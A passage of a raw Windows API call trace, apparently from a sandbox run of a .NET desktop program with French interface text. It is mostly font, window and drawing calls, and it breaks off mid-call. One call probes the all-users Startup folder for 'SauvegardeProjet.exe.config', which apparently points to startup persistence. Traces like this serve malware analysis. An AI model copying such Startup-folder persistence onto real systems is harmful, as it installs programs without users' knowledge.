(lpModuleName="comctl32.dll") returned 0x73a30000 [0220.626] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.628] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.628] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c09a0) returned 0x0 [0220.628] GdipGetFontSize (font=0x4b3b8c0, size=0x24c09a4) returned 0x0 [0220.628] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.628] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.628] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.628] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.630] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.630] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c0bd8) returned 0x0 [0220.630] GdipGetFontSize (font=0x4b3b8e8, size=0x24c0bdc) returned 0x0 [0220.630] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.630] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.630] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.630] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.632] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.632] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c0dcc) returned 0x0 [0220.632] GdipGetFontSize (font=0x4b3b910, size=0x24c0dd0) returned 0x0 [0220.632] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.632] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.632] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.632] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.634] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.634] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c1004) returned 0x0 [0220.634] GdipGetFontSize (font=0x5510e40, size=0x24c1008) returned 0x0 [0220.634] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.634] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.635] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.635] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.636] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.636] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c122c) returned 0x0 [0220.636] GdipGetFontSize (font=0x5510e68, size=0x24c1230) returned 0x0 [0220.636] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.636] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.637] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.638] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.638] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c1464) returned 0x0 [0220.638] GdipGetFontSize (font=0x5510e90, size=0x24c1468) returned 0x0 [0220.638] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.638] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.638] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.638] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.639] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.639] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c1604) returned 0x0 [0220.639] GdipGetFontSize (font=0x4ad7030, size=0x24c1608) returned 0x0 [0220.662] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.662] AdjustWindowRectEx (in: lpRect=0x2be080, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2be080) returned 1 [0220.662] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.662] AdjustWindowRectEx (in: lpRect=0x2be080, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2be080) returned 1 [0220.666] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.667] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c17fc) returned 0x0 [0220.667] GdipGetFontSize (font=0x4ad7058, size=0x24c1800) returned 0x0 [0220.667] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.667] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.670] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.670] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.671] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.671] AdjustWindowRectEx (in: lpRect=0x2be0d0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2be0d0) returned 1 [0220.672] GetSystemMetrics (nIndex=59) returned 1460 [0220.672] GetSystemMetrics (nIndex=60) returned 920 [0220.672] GetSystemMetrics (nIndex=34) returned 132 [0220.672] GetSystemMetrics (nIndex=35) returned 38 [0220.672] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.672] AdjustWindowRectEx (in: lpRect=0x2bdfd0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2bdfd0) returned 1 [0220.672] GetCurrentThreadId () returned 0x560 [0220.672] GetCurrentThreadId () returned 0x560 [0220.673] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.673] AdjustWindowRectEx (in: lpRect=0x2bdecc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdecc) returned 1 [0220.677] GdipGetFamilyName (in: family=0x4bff690, name=0x2bddbc, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.678] CreateCompatibleDC (hdc=0x0) returned 0xb0101e5 [0220.678] GetCurrentObject (hdc=0xb0101e5, type=0x1) returned 0x1b00017 [0220.678] GetCurrentObject (hdc=0xb0101e5, type=0x2) returned 0x1900010 [0220.678] GetCurrentObject (hdc=0xb0101e5, type=0x7) returned 0x185000f [0220.678] GetCurrentObject (hdc=0xb0101e5, type=0x6) returned 0x18a002e [0220.679] SaveDC (hdc=0xb0101e5) returned 1 [0220.679] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0220.688] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.688] CreateFontIndirectW (lplf=0x566c08) returned 0x90a01e9 [0220.689] CoTaskMemFree (pv=0x566c08) [0220.689] GetObjectW (in: h=0x90a01e9, c=92, pv=0x2bdd94 | out: pv=0x2bdd94) returned 92 [0220.689] GetCurrentObject (hdc=0xb0101e5, type=0x6) returned 0x18a002e [0220.689] GetObjectW (in: h=0x18a002e, c=92, pv=0x2bdcec | out: pv=0x2bdcec) returned 92 [0220.689] SelectObject (hdc=0xb0101e5, h=0x90a01e9) returned 0x18a002e [0220.690] GetMapMode (hdc=0xb0101e5) returned 1 [0220.690] GetTextMetricsW (in: hdc=0xb0101e5, lptm=0x2bdda0 | out: lptm=0x2bdda0) returned 1 [0220.691] DrawTextExW (in: hdc=0xb0101e5, lpchText="Arborescence du projet", cchText=22, lprc=0x2bdeb4, format=0x2400, lpdtp=0x24c1fb4 | out: lpchText="Arborescence du projet", lprc=0x2bdeb4) returned 13 [0220.743] GetCurrentThreadId () returned 0x560 [0220.743] GetCurrentThreadId () returned 0x560 [0220.744] GetCurrentThreadId () returned 0x560 [0220.744] GetCurrentThreadId () returned 0x560 [0220.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.744] AdjustWindowRectEx (in: lpRect=0x2bdecc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdecc) returned 1 [0220.744] GdipGetFamilyName (in: family=0x4bff690, name=0x2bde98, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.744] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0220.744] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.744] CreateFontIndirectW (lplf=0x566c08) returned 0x4b0a01e3 [0220.744] CoTaskMemFree (pv=0x566c08) [0220.744] GetObjectW (in: h=0x4b0a01e3, c=92, pv=0x2bde70 | out: pv=0x2bde70) returned 92 [0220.748] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24c2294 | out: psizl=0x24c2294) returned 1 [0220.751] DeleteObject (ho=0x4b0a01e3) returned 1 [0220.751] GetCurrentThreadId () returned 0x560 [0220.751] GetCurrentThreadId () returned 0x560 [0220.751] GetCurrentThreadId () returned 0x560 [0220.751] GetCurrentThreadId () returned 0x560 [0220.752] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.752] AdjustWindowRectEx (in: lpRect=0x2bdecc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdecc) returned 1 [0220.752] GdipGetFamilyName (in: family=0x4bff690, name=0x2bde98, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.752] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0220.752] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.752] CreateFontIndirectW (lplf=0x566c08) returned 0x4c0a01e3 [0220.752] CoTaskMemFree (pv=0x566c08) [0220.752] GetObjectW (in: h=0x4c0a01e3, c=92, pv=0x2bde70 | out: pv=0x2bde70) returned 92 [0220.752] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24c259c | out: psizl=0x24c259c) returned 1 [0220.752] DeleteObject (ho=0x4c0a01e3) returned 1 [0220.752] GetCurrentThreadId () returned 0x560 [0220.752] GetCurrentThreadId () returned 0x560 [0220.752] GetCurrentThreadId () returned 0x560 [0220.752] GetCurrentThreadId () returned 0x560 [0220.752] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.752] AdjustWindowRectEx (in: lpRect=0x2bdecc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdecc) returned 1 [0220.752] GdipGetFamilyName (in: family=0x4bff690, name=0x2bde98, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.752] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0220.752] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.753] CreateFontIndirectW (lplf=0x566c08) returned 0x4d0a01e3 [0220.753] CoTaskMemFree (pv=0x566c08) [0220.753] GetObjectW (in: h=0x4d0a01e3, c=92, pv=0x2bde70 | out: pv=0x2bde70) returned 92 [0220.753] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24c2878 | out: psizl=0x24c2878) returned 1 [0220.753] DeleteObject (ho=0x4d0a01e3) returned 1 [0220.753] GetCurrentThreadId () returned 0x560 [0220.753] GetCurrentThreadId () returned 0x560 [0220.753] GetCurrentThreadId () returned 0x560 [0220.753] GetCurrentThreadId () returned 0x560 [0220.753] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.753] AdjustWindowRectEx (in: lpRect=0x2bdecc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdecc) returned 1 [0220.753] GdipGetFamilyName (in: family=0x4bff690, name=0x2bde98, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.753] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0220.753] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.753] CreateFontIndirectW (lplf=0x566c08) returned 0x4e0a01e3 [0220.753] CoTaskMemFree (pv=0x566c08) [0220.753] GetObjectW (in: h=0x4e0a01e3, c=92, pv=0x2bde70 | out: pv=0x2bde70) returned 92 [0220.753] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24c2ba0 | out: psizl=0x24c2ba0) returned 1 [0220.754] DeleteObject (ho=0x4e0a01e3) returned 1 [0220.754] GetCurrentThreadId () returned 0x560 [0220.754] GetCurrentThreadId () returned 0x560 [0220.754] GetCurrentThreadId () returned 0x560 [0220.754] GetCurrentThreadId () returned 0x560 [0220.754] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.757] AdjustWindowRectEx (in: lpRect=0x2bdfe8, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2bdfe8) returned 1 [0220.757] AdjustWindowRectEx (in: lpRect=0x2be0b0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2be0b0) returned 1 [0220.757] GetSystemMetrics (nIndex=59) returned 1460 [0220.757] GetSystemMetrics (nIndex=60) returned 920 [0220.757] GetSystemMetrics (nIndex=34) returned 132 [0220.757] GetSystemMetrics (nIndex=35) returned 38 [0220.757] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.757] AdjustWindowRectEx (in: lpRect=0x2bdeec, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2bdeec) returned 1 [0220.757] AdjustWindowRectEx (in: lpRect=0x2bdfb0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2bdfb0) returned 1 [0220.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bde74) returned 1 [0220.761] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe.config" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2bdef0 | out: lpFileInformation=0x2bdef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0220.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bde70) returned 1 [0221.347] GetSystemMetrics (nIndex=11) returned 32 [0221.347] GetSystemMetrics (nIndex=12) returned 32 [0221.347] GetDC (hWnd=0x0) returned 0x701068c [0221.347] GetDeviceCaps (hdc=0x701068c, index=12) returned 32 [0221.347] GetDeviceCaps (hdc=0x701068c, index=14) returned 1 [0221.347] ReleaseDC (hWnd=0x0, hDC=0x701068c) returned 1 [0221.348] CreateIconFromResourceEx (presbits=0x24d897c, dwResSize=0xca8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x1016f [0221.411] CreateCompatibleDC (hdc=0x0) returned 0x1b0101e0 [0221.411] GetDC (hWnd=0x0) returned 0x701068c [0221.412] GdipCreateFromHDC (hdc=0x701068c, graphics=0x2bdf0c) returned 0x0 [0221.412] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.412] GdipGetLogFontW (font=0x4b68f90, graphics=0x4ad7818, logfontW=0x566c08) returned 0x0 [0221.412] CoTaskMemFree (pv=0x566c08) [0221.412] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.412] CoTaskMemFree (pv=0x566c08) [0221.412] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.412] CoTaskMemFree (pv=0x566c08) [0221.412] GdipDeleteGraphics (graphics=0x4ad7818) returned 0x0 [0221.412] ReleaseDC (hWnd=0x0, hDC=0x701068c) returned 1 [0221.413] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.413] CreateFontIndirectW (lplf=0x566c08) returned 0x140a01df [0221.413] CoTaskMemFree (pv=0x566c08) [0221.413] SelectObject (hdc=0x1b0101e0, h=0x140a01df) returned 0x18a002e [0221.413] GetTextMetricsW (in: hdc=0x1b0101e0, lptm=0x2be018 | out: lptm=0x2be018) returned 1 [0221.413] GetTextExtentPoint32W (in: hdc=0x1b0101e0, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x24d9d30 | out: psizl=0x24d9d30) returned 1 [0221.413] SelectObject (hdc=0x1b0101e0, h=0x18a002e) returned 0x140a01df [0221.413] DeleteDC (hdc=0x1b0101e0) returned 1 [0221.414] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.414] AdjustWindowRectEx (in: lpRect=0x2bdd84, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x2bdd84) returned 1 [0221.414] GetCursorPos (in: lpPoint=0x24d9d50 | out: lpPoint=0x24d9d50*(x=212, y=282)) returned 1 [0221.421] GetSystemMetrics (nIndex=80) returned 1 [0221.431] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2bdc60 | out: lpmi=0x2bdc60) returned 1 [0221.432] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1e0101e0 [0221.432] GetDeviceCaps (hdc=0x1e0101e0, index=12) returned 32 [0221.432] GetDeviceCaps (hdc=0x1e0101e0, index=14) returned 1 [0221.432] DeleteDC (hdc=0x1e0101e0) returned 1 [0221.433] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2bdcb4 | out: lpmi=0x2bdcb4) returned 1 [0221.433] AdjustWindowRectEx (in: lpRect=0x2bdfa4, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x2bdfa4) returned 1 [0221.453] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.453] AdjustWindowRectEx (in: lpRect=0x2bdcfc, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x2bdcfc) returned 1 [0221.453] GetCursorPos (in: lpPoint=0x24da084 | out: lpPoint=0x24da084*(x=212, y=282)) returned 1 [0221.453] MonitorFromPoint (pt=0xd2, dwFlags=0x11b) returned 0x10001 [0221.453] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2bdbd8 | out: lpmi=0x2bdbd8) returned 1 [0221.453] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x200101e0 [0221.453] GetDeviceCaps (hdc=0x200101e0, index=12) returned 32 [0221.453] GetDeviceCaps (hdc=0x200101e0, index=14) returned 1 [0221.453] DeleteDC (hdc=0x200101e0) returned 1 [0221.453] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2bdc2c | out: lpmi=0x2bdc2c) returned 1 [0221.453] AdjustWindowRectEx (in: lpRect=0x2bdddc, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x2bdddc) returned 1 [0221.453] GetSystemMetrics (nIndex=34) returned 132 [0221.453] GetSystemMetrics (nIndex=35) returned 38 [0221.453] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.453] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.454] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.454] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.454] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.454] AdjustWindowRectEx (in: lpRect=0x2bdc5c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdc5c) returned 1 [0221.454] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.454] AdjustWindowRectEx (in: lpRect=0x2bdf84, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2bdf84) returned 1 [0221.454] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.454] AdjustWindowRectEx (in: lpRect=0x2bddc4, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2bddc4) returned 1 [0221.455] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.455] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.455] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.455] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.455] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.455] AdjustWindowRectEx (in: lpRect=0x2bdc5c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdc5c) returned 1 [0221.455] GdipGetFamilyName (in: family=0x4bff690, name=0x2bdc28, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.455] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0221.455] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.455] CreateFontIndirectW (lplf=0x566c08) returned 0x210a01e0 [0221.455] CoTaskMemFree (pv=0x566c08) [0221.455] GetObjectW (in: h=0x210a01e0, c=92, pv=0x2bdc00 | out: pv=0x2bdc00) returned 92 [0221.455] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24da508 | out: psizl=0x24da508) returned 1 [0221.455] DeleteObject (ho=0x210a01e0) returned 1 [0221.456] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.456] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.456] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.456] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.456] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.456] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.456] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.456] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.456] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.456] AdjustWindowRectEx (in: lpRect=0x2bdc5c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdc5c) returned 1 [0221.456] GdipGetFamilyName (in: family=0x4bff690, name=0x2bdc28, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.457] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0221.457] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.457] CreateFontIndirectW (lplf=0x566c08) returned 0x220a01e0 [0221.457] CoTaskMemFree (pv=0x566c08) [0221.457] GetObjectW (in: h=0x220a01e0, c=92, pv=0x2bdc00 | out: pv=0x2bdc00) returned 92 [0221.457] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24da718 | out: psizl=0x24da718) returned 1 [0221.457] DeleteObject (ho=0x220a01e0) returned 1 [0221.457] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.457] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.457] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.457] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.457] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.458] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.458] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.458] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.458] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.458] AdjustWindowRectEx (in: lpRect=0x2bdc5c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdc5c) returned 1 [0221.458] GdipGetFamilyName (in: family=0x4bff690, name=0x2bdc28, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.458] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0221.458] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.458] CreateFontIndirectW (lplf=0x566c08) returned 0x230a01e0 [0221.458] CoTaskMemFree (pv=0x566c08) [0221.458] GetObjectW (in: h=0x230a01e0, c=92, pv=0x2bdc00 | out: pv=0x2bdc00) returned 92 [0221.458] GetTextExtentPoint32W (in: hdc=0xb0101e5, lpString="0", c=1, psizl=0x24da928 | out: psizl=0x24da928) returned 1 [0221.458] DeleteObject (ho=0x230a01e0) returned 1 [0221.458] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.458] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.459] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.459] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.459] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.459] AdjustWindowRectEx (in: lpRect=0x2bdf9c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdf9c) returned 1 [0221.459] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.459] AdjustWindowRectEx (in: lpRect=0x2bde00, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bde00) returned 1 [0221.459] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.459] AdjustWindowRectEx (in: lpRect=0x2bdc5c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2bdc5c) returned 1 [0221.459] GdipGetFamilyName (in: family=0x4bff690, name=0x2bdc28, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.459] GetDeviceCaps (hdc=0xb0101e5, index=90) returned 96 [0221.459] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0221.459] CreateFontIndirectW (lplf=0x566c08) returned 0x240a01e0 [0221.459] CoTaskMemFree (pv=0x566c08) [0221.459] GetObjectW (in: h=0x240a01e0, c=92, pv=0x2bdc00 | out: pv=0x2bdc00) returned 92 [0221.460] GetTextExtentPoint32W (in: 